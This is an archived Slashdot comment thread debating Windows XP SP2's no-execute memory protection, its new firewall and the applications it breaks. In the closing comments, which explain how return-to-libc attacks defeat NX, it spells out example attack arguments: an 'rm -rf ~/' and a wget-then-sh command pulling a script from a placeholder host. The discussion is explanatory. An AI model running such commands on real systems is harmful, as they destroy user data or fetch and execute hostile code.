Slashdot Mirror
Windows XP SP2 Could Break Some Applications
Denver_80203 writes "An article from InfoWorld states that the upcoming Windows XP Service Pack 2 could break some 'unsecure applications.' In a quote from Tony Goodhew, a product manager in Microsoft's developer group says 'It doesn't really matter how long it is going to take you to do the work; security is an important issue and developers need to start doing that work now.' Or: 'The great bulk of applications will not be affected by memory protection. The number one that leaps to mind is execution environments with just-in-time code generation. The .Net Framework is one.' Fortunately for us, they are offering a course to guide the unsecure masses."
another reason for the company I work for to NOT migrate from Windows 2000.
Thank you Microsoft!
Do not look at laser with remaining good eye.
Is this supposed to mean that Java will stop working?
--t
Open Office, Mozilla, Java based applications, Apache with PHP, and other applications written by a bunch of programmers without a management control :)
Sounds like an issue with NX bit implementation on A64 ... this protects memory that is tagged as data from being executed (which protects against buffer overrun exploits, which are 50% of the MS security issues). This would affect .NET, Java, etc. However I'm sure that there is a way to fix this for these types of application!
Regardless, enforcing decent security like this is good.
Now all the hackers will have to try other methods of hacking windows, heh. I'm sure that there is no shortage of them!
Microsoft has a nice bit of info for developers. All in all, I'm pretty impressed with the work and thought they've put into this SP--should make the world just a little bit safer for computing (of course, only for the folk running XP, the rest of their offerings don't have any of this as far as I know).
Without doubt, countless QA software testers & coders will cry out in anguish over this.....more work for them to do. But if they want to sell their software on the large Windows desktop market....They have little choice in the matter.
For each software build, we have to test against the various OS versions, and different service packs builds. Not fun...
I really like the direction Microsoft is heading.
Granted it was needed as their reputation, in regards of security, has always been low to none.
I really hope this will rid Windows XP of future remote exploits, since that's still the biggest threat Windows is facing.
Having said that, this wont fix all security problems, there will always be the luser that executes whatever is mailed to him/her, but it's still a step in the right direction.
Fortunately for us, they are offering a course to guide the unsecure masses.
The blind leading the seeing?
c++;
I read an article about this yesterday and wanted to test it against some apps where I work, but could not find the download for it on the Microsoft website. Do you have to have an MSDN subscription to get it. Seems rather rather screwy that if I want to make sure my app works with Microsofts OS I pay to them an extra $500 for the privilege. Maybe this is the new money making model. Profits are down this quarter, lets go break some code and charge them for how to fix it.
...when one realises that most of this effort is fruit of a tiny 5kb worm which actually had asked mr gates to repair his software... I'm still working on my sig
First, they decided to postpone Longhorn "Until it's done", rather than releasing a shoddy product early.
Second, they've gone so far as to break application compatibility in order to clean up a number of deeply embedded security holes in Windows.
Personally, I think this is a Very Good Thing(tm). Microsoft may finally be "Getting it"
In the past, MS has broken Windows 95/98 applications, but Windows XP/2000 had compatibility modes available for the older applications. If it is as they say, and newer apps will be intentionally broken without any way of going into a compatibility mode, this will be bad.
I have difficulty believing MS would not include some kind of compatibility mode, however. It'll be interesting to see what they do. It won't really affect me though, I don't use XP and can't stand that OS (Windows 2000 is still my favorite Microsoft OS; Windows XP is just 2000 with some pretty GUI changes and some compatibility fixes.)
QA software testers & coders will cry out in anguish over this.....more work for them to do
I don't think the will "cry out in anguish" if they've got any sense. In today's market they'll jump for joy, knowing that their jobs are safe for another few months.
...IE will continue to be broken then :-)
Actually, I'm very interested to see if the SP2 pop-up ad blocker will actually work in IE since MS has dragged their feet on this issue. Half the battles we have been fighting lately at work involve IE and pop-ups that install crap without any notification.
"Klaatu, verada, necktie!" -Ash
Upgrading to 2.6 was not a forced security upgrade, but simply an option. Patching security with linux is a quick patch and restarting the affected service.
Does this Service Pack allow itemized upgrading? A reboot? Uninstalling broken patches? More than one reboot?
Actually, only the Itanium and AMD K8 are affected by this immediately; Microsoft isn't yet marking memory nonexcutable by default on the good old x86 processors that we all use.
Regardless, it is trivial for developers to update their code for things like JIT compilers, with a simple function like this:
I added that piece of code to my company's JIT compiler some years ago, just to ensure that the proper flags were set. I figured Microsoft would eventually switch to nonexecutable data and stack segments, much like the OpenWall project has done with their Linux patches. Glad to see Microsoft is finally taking the first steps.
It's hard for thee to kick against the pricks.
SP2 is not just another Service Pack. MS are using this as a means to introduce a lot of new stuff. everything from locked-down DCOM settings, to pop-up blockers and a new version of the Windows Installer.
A lot of stuff is going to break, but I think that this is good in a way. MS have finally put security ahead of backward compatibility. Once these changes are in place and apps are working with them, the system is going to be more secure. For once MS should be applauded - yes, you can argue it's a bit late, but at least they're doing it now.
If you want to check out what changes SP2 actually makes, have a read of this white paper:
Changes to Functionality in Service Pack 2 for Microsoft Windows XP
Lengthy, but worth a read, especially if you have apps that you think might be affected.
A downloadable version is available here.
He's not a programmer. This is important. From the end-user perspective, .NET is just a ill-formed buzzword. I do not doubt the idiocy of MFC (although I've never used it), and the improvement that .NET brings (although I've never used it), but as a Windows user, not developer, I can't see the difference or the point in installing the .NET framework.
The previous sig has been removed due to
Microsoft has pandered to broken applications for far too long. Maybe if they finally get over their "backwards compatibility at all costs" attitude, they'll get around to fixing some of the fundamental flaws in their OS.
I highly doubt that Linux authors would think twice about breaking buggy apps to force the issue.
Windows adds NX security to prevent buffer overflows, Slashdot bags on Microsoft for breaking a few apps in the process (apps which were arguably broken in the first place, just the spec was never enforced).
I understand there's a slight bias on this site, but Jesus Christ you guys.
I don't see how Visual Studio .net and .Net Framework users can be considered a small minority. The thing is, Microsoft releasing a service pack that breaks everything is very different from a linux distribution breaking when the use decides to try to compile and install new software completely on their own--Microsoft is the equivalent of the whole open source community of programmers and distributors combined, so a new service pack isn't analagous to a new major release of the Linux kernel, it's more like a new minor release of a Linux distribution. And I'm not sure it's even like that, since a service pack upgrade is supposed to be a lot easier to do then installing a Linux distribution release--so it's more like an distro-released security fix. Which isn't supposed to break everything.
I don't know anything about the specifics, but there are memory-protecting kernel patches out there for linux, like PAX and grsecurity and probably a bunch of others. You have to disable them when running Java and X, so I imagine Java will be effected by this update.
The real problem is that the benefits it (should) bring will not get deployed to the bulk of systems that need it - at 210Mb I can't see the majority of systems out there that really need it getting the whole thing downloaded, at least not within any reasonable time frame. Hopefully by the time it is actually released they will have a lite version on Windows update that can push the security improvements in a much smaller package.
Their decision to at least try to implement some long overdue fundamental improvements to the security of the architecture is to be welcomed no matter how over due it is. However despite that their decision not to add any outgoing filtering capability to the ICF doesn't make any sense to me and seems, well, just stupid really.
Backward compatibility has been a bit of a sacred cow in Windows for too long. Much of Windows' excess complexity and security deficiencies can be directly attributed to compromises made for the sake of compatibility with old applications.
Here's a list of a few applications that has been reported having problems in the latest betas of SP2, compiled from comments at Neowin when they posted these news:
- Zone Alarm 2 (uninstall stops working)
- BS Player (driver fail to load)
- Roxio Easy Media Creator 7
- Microsoft Intellipoint 5.0
- Azureus BitTorrent client
- ATI's Rage3DTweak for Radeon
- Easy CD Creator 5
- eMule
- Tritton NAS-120's Managment Interface
- Leadtek WINFAST TV PVR (driver fail to load)
- ISO Recorder Powertoy
Also, a user reports the Windows XP SP2 firewall blocking incoming FTP traffic even without an installed firewall, and XP's built-in disabled.
Maybe it's "beta diseases", but it does seem like a lot to break for a service pack, even in a beta. These are usually quite stable as they contain mostly bugfixes, not Win32 API changes (which these problems are supposedely caused by).
Beware: In C++, your friends can see your privates!
This is a good thing that OSes like Solaris have had available for years. OpenBSD has recently changed their default memory page allocation permissions on architectures where it's possible for a similar effect. Patches exist under Linux to do it. However, I believe in all these cases that you can still REQUEST memory allocations that do NOT have the restriction if you are doing JIT compilation or whatnot.
/' string somewhere in memory).
Microsoft isn't stupid. I'm sure they'll figure out a way to allow old apps to run with the old allocation behavior. Their entire business relies on legacy compatability. At worst you'll need to set some flag on the application launch.
The other thing to note is that crackers have also had ways to defeat execution-protected memory for years as well. It makes a buffer overflow exploit a bit more difficult, but where there is a will there is a way.
For example, even if the protection prevents you from writing executable code directly into memory, you can still typically do things like overwrite the stack and hijack the program's execution to a system call with malicious parameters (in Unix, the classic call to hit is system()...no custom code execution required, just a 'rm -rf
Braddock Gaskill
Sounds like a rather nice way of introducing stability and or compatibility problems to java by not allowing Sun's Hot Spot just in time compiler to work correctly.
Got Code?
You evidently don't understand how Microsoft works as a business. Unlike most software shops, they take the long-term perspective. Many of their competitors have learned this the hard way. (E.g., "Internet Explorer is a failure." As of version 3, it was a failure in terms of market penetration, but MS didn't care.) Full Microsoft product cycles typically take about ten years.
Every major new Microsoft product or technology takes the better part of a decade to take over the desktop. By about 2007-2008 or so, once there starts to be a large installed base of Longhorn machines (which will have .NET preinstalled), .NET will really start to take off for shrinkwrap applications. Five years down the line from there, it will be just about ubiquitous. In the meantime, programmers are learning it and it's becoming a familiar feature of Visual Studio (an excellent IDE).
Microsoft Windows is, fittingly, the official Desktop OS of Olig
I know, I know. Don't feed the troll. You may think .NET is a failure, but there are a lot of companies who do not think so.
And if it was such a failure, why are the programmers in the open source computing community devoting the time and effort to make a linux version (mono, etc.).
And the same applies to java. "Download my free 175 KB java app" that requires a hefty download from sun. And that's just for one language.
However, I will agree that .NET is a really lame name.
~X
~X~
You don't realize how true this is after the W2K source leak. Microsoft has to take drastic measures if they are to stem the flood of exploits.
Making sure nothing can buffer overrun to execute with even user privileges is a neccessity now that countless local holes are known (Overflow on loading a bitmap? How in the hell did they manage to screw that up?).
From the developer's guide. Emphasis mine.
The security technologies included with Service Pack 2 will allow for better protection against network-based attacks.. Windows Firewall is now turned on by default and all ports are closed except when they are in use.
I hope their firewall doesn't open ports automatically, or it's nothing more than swiss cheese.
No, it's soooo 2004. Anti-MS/pro-Linux bias was restricted to very small groups of hackers in the 1990's, but it's progressively growing into the collective conscience, as more and more security failures in MS software get more and more people pissed-off.
Think of apple, they were never to worried about backwards compatibility and their os is more stable because of it. All those programs that weren't compatible with osx had to be updated to ensure they'd work with the changed operating system. True, the change was big because they went to a unix varient, but they still had the balls to tell developers to adjust or lose customers.
.NET, this is very smart for them. It makes it easier and cheaper for developers to make consistant apps in current and future versions of windows. If developers rely on ms code to handle the grunt work and they just do the stuff that makes their program, then they have a lot less overhead. And with microsoft grabbing it's balls and betting on security and stability, they can handle the backend bugs with their updates. True, that requires them to actually patch, but if they start with a much more stable and efficient groundwork, you'll see a lot less patches then now.
Now microsoft has always tried to make it easy to run old programs. Think of how long dos lasted so businesses could use their old proprietary programs. This caused a lot of problems with windows crashing. Windows xp was supposed to fix that shit, but now a new slew of shit has come about. Now what they're saying with sp2 is that they recognize their customers want security and stability over backwards compatibility.
The reason they're finally starting to do this is probably to compete with linux since those people most likely had to leave their old familiar apps with new ones. They see that people would rather deal with the adjustment of a new look and feel over constant reboots.
Now while everyone can point fingers and laugh at
Remember guys, microsoft isn't stupid.
As superstitious as this sounds I have found this to be true over the years with Microsoft. Almost without fail the even numbered SP's have broken features and the odd numbered ones fix them. I'll wait for SP3.
Besides, the combination of my Netgear firewall, McAfee Virusscan and just not opening strange attachments in my email protects me just fine.
"Nobody knows the age of the human race, but everybody agrees that it is old enough to know better." - Unknown
Are you kidding? You have seen the format of a bitmap, haven't you? It's a seriously screwed up format.
I believe, BTW, the problem is an integer overflow one; a length field has a number substracted from it without previously checking that it is large enough to not wrap around to 2^32-(a little bit). This kind of thing happens a lot, and was the cause of the most recent Apache hole (among many others), so criticising MS for having one similar is a little harsh.
They that give up functionality to obtain a little security deserve neither functionality nor security.
Yeah, or something like that.
There ain't no rules here; we're trying to accomplish something.
Which is what happens when you let a product manager talk about technical issues.
There applications that will break are _not_ (necessarily) insecure. They just behave in a way that makes it impossible for Windows to tell isn't somebody trying to execute some code in an overflowed buffer.
Typical MS press relations, blame everyone else.
Are we talking about Windows XP SP1?
Windows .NET Framework applications do not currently mark generated code with Execute permissions. XPSP2 recognizes the current, shipped versions of .NET Framework and runs them with NX off. Therefore existing .NET applications will continue to run. Microsoft is enhancing the .NET Framework to take advantage of NX and will ship service packs for each of the shipped versions in the XP SP2 RTM timeframe. The .NET Framework "Whidbey" will innately support NX.
These folks write and consult and teach about Windows drivers. I've followed their newsletter ever since I had to write an NT kernel driver for some custom I/O hardware, in case I ever needed to do another one (blechh!).
According to their newsletter at www.osronline.com, XP SP2 will include mandatory runtime memory pool overrun checking for all drivers. While this will improve the OS' security, it will ALSO cause mysterious failures on upgraded systems due to poorly-written legacy XP drivers. I make no judgements as to the wisdom of this course, but it's definitely worth knowing about beforehand. Of course, if they'd done this FROM THE START, then there would be no failures from it with the upgrade...
"My strength is as the strength of ten men, for I am wired to the eyeballs on espresso."
hehe
I also like
Work continues with microprocessor vendors to help Windows support hardware-enforced "no execute" (NX) on microprocessors that support the feature. This feature allows the CPU to enforce the separation of application code and data, preventing a component from executing program code that a worm or virus inserted into a portion of memory marked for data only.
So now MS and 3rd party programmers will think to themselves "aw well, if my pointer arithmetic is poor the CPU will catch any over runs".
Apparently MS hasn't learned the ancient ninja technique of heap redirection or return-to-lib.
So new hardware security features will lead to *more* exploits!
There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
You have to bag on MS for this?
Ok, imagine this alternate Slashdot headline:
MS sales buries secure XP
Itoldyouso writes - A leaked memo indicates that the Microsoft developers created a much more secure version of their flagship operating system. However, because it would have caused problems with a small number of applications that were designed insecurely, the Sales & Marketing teams vetoed the new secure version, in an attempt to avoid a customer backlash. It is now official - Microsoft's commitment to trustworthy computing is a complete joke.
I have a feeling that post would rile a lot more people here.
I've seen the format. I've seen worse, and bmp is hardly bad enough to mess up an implimentation for.
I don't feel it's harsh at all to criticise over this. The Apache Group should also be embarassed for the same.
(what, you assumed I'm yet another anti-MS/pro-OSS zealot?)
Integer overflows are easily avoided, and the very fact that they crop up so often is the reason programmers keep such a sharp eye out for them (at least where I work, anyway).
Nope. If the NX flag catches your problem, it won't let it slide - it'll refuse to run that segment of code. So instead of a buffer overflow you can't see, now you'll have an exception that's a lot more visible, and a lot less dangerous if it slips by QA.
My Norton Internet Security currently interferes with my Visual Studio .NET remote debugging. So I can disable it while debugging or I can configure NIS to track when the program is running and let it use those ports.
.Net Framework. The new memory protection features in SP2 require developers of certain applications to mark their code with memory execution permissions. If they don't, the protection features could interfere with the application, according to Microsoft.
.Net Framework is one," Goodhew said. "
.NET like we told you, you won't be affected. (But .NET apps are going to have to be modified to switch on memory protection)
.NET. (Which, last I checked, was the only way to make .NET objects that run on Windows). Without that flag turned on, the .NET object is marked UNSECURE.
.NET into the programming paradigm and making Microsoft Programming Languages THE programming languages. (Programmer mindshare... if you're busy keeping up with Microsoft, you're not programming for something else or making reusable code to port to other platforms.)
Now MS says, with their new firewall, I don't *have* that option? Now anybody who wants to write an app to use a port must first notify MS that it wants to use that port.
Doesn't this mean that malicious programs will just quietly open up firewall ports on their own without notifying the user?
Secondly, what does this mean:
"Another product that Microsoft needs to update is the
"The great bulk of applications will not be affected by memory protection. The number one that leaps to mind is execution environments with just-in-time code generation. The
Translation:
Mostly only unmanaged C++ programmers will be affected by these security changes. If you had just programmed the Microsoft way to begin with and used
Memory protection only occurs on NEW processors. The vast majority of the world runs Windows on NON-SECURE processors.
Stranger still, Microsoft has had buffer overrun checking BUILT IN to Visual Studio
Lastly, Microsoft's greatest security problems are not buffer overruns or firewall holes. They're AUTOMATIC ACTIVEX control installation from malicious pop ups to install spyware. They're wide open access to the email address box and a by-default scripting system that allows malicious emails to respawn themselves. They're bugs in the Internet Explorer control that allow malicious URL's.
NONE of these "security innovations" even take a crack at stopping those!
What DO these security innovations do?
Destroy a previously lucrative software market for antivirus tools.
Take the firewall OUT OF THE CONTROL of the user and put it firmly inside the OS to determine what's good for you. (Remember DRM? Isn't it interesting that the main thing broken from this portion of the update are peer-to-peer apps and FTP sharing?)
Further entrench
I'm all for security, and now these boxes will be secure... But no moreso than the typical user installation out there today that uses a third party antivirus/firewall solution and keeps their system up to date with the latest patches.
This is about as effective at what MS did with Outlook XP and *by default* turning off the ability to get attachments out of your email. You had to setup a profile configuration OR edit your registry settings to get that feature back.
Y'know, there comes a point where you have to say, I can ride my bicycle without training wheels.
I understand that MS is fighting a bad PR image. But if this is how Microsoft "innovates"... Well, might as well just have lightweight users use Macs (which will hold their hands) and pro users/developers can use Linux.
Finially, they're biting the bullet and doing the right thing. A sensibly configured default firewall - it's one of the things they should've been doing for years. The memory protection is also interesting - and probably a good move, so long as developers don't start using it as a crutch.
Now, if we see built-in virus protection, tainting or sandboxing of executable code recieved by email, proper MIME handling, and flagging of double extensions, AND AUTOMATIC UPDATES THAT ARE ON BY DEFAULT, it'll be mostly there.
Even forcing users to take an extra step (like the 'chmod u+x' required on *NIX) to make emailed and downloaded files executable would help a _lot_. Sure, viri would just start saying "click properties, then tick 'executable'" in the messages; but it'd stop a lot of the worst offenders from viewing things without thinking.
Or you could just sit and blame Microsoft for your inability to read their supplied documentation pandering to a community that is as inept and continue to use the product without a clue as to how it works.
I think you missed the point. This is fundamentally similar to 'stackguard' and has been circumvented for some time using the following technique: (and others, mind you)
When you overwrite the stack pointer, you don't have to point to code that's on the stack.
For example, I can overflow with a 'command-line string' on the stack, and have the overwritten stack pointer point to the address of a library function, such as 'system()', or something, and then it won't be executing any code from the stack, just taking arguments from the stack like usual.
This can't be blocked with a conventional non-executable stack.
So now MS and 3rd party programmers will think to themselves "aw well, if my pointer arithmetic is poor the CPU will catch any over runs".
Give me a break. You might as well say that we should get rid of memory protection and preemptive multitasking, because having them makes the programmers lazy, thinking the OS will catch their errors.
The NX feature is very good for security and stability. All people including programmers make mistakes, and if you design your security policy on the basis that no one will ever make a mistake you are bound for trouble. The only sensible approach is to have multiple layers where mistakes in one will be caught in the next and prevented from becoming a bigger problem than it should.
If the OS+hardware completely disallow you from writing to code memory, or executing application memory, then any attempts to do so will be killed on the spot and the blame will be placed squarely on your application. The user will know that your program screwed up (or was being malicious) instead of blaming it on windows. So not only will this close off an entire class of exploits, it will provide incentive for programmers to do a better job!
"The NX feature is very good for security and stability."
NO NO NO! That's the kind of thinking that will result in a 'golden age' of exploitable software. NX does not close the vulnerability left by a buffer overflow. All it does is require you to use a different class of attack.
Overwrite the stack pointer with the address of a suitable library function. E.g., clobbering the stack pointer with the address of system() and overwriting the top of the stack with (pointer(s) to) suitable arguments (e.g., "rm -rf ~/", or "wget -c http://somebadplace.com/somethingbad.sh;/bin/sh somethinbad.sh"). Nothing on the stack ever gets executed, and you neatly sidestep any protection afforded by NX.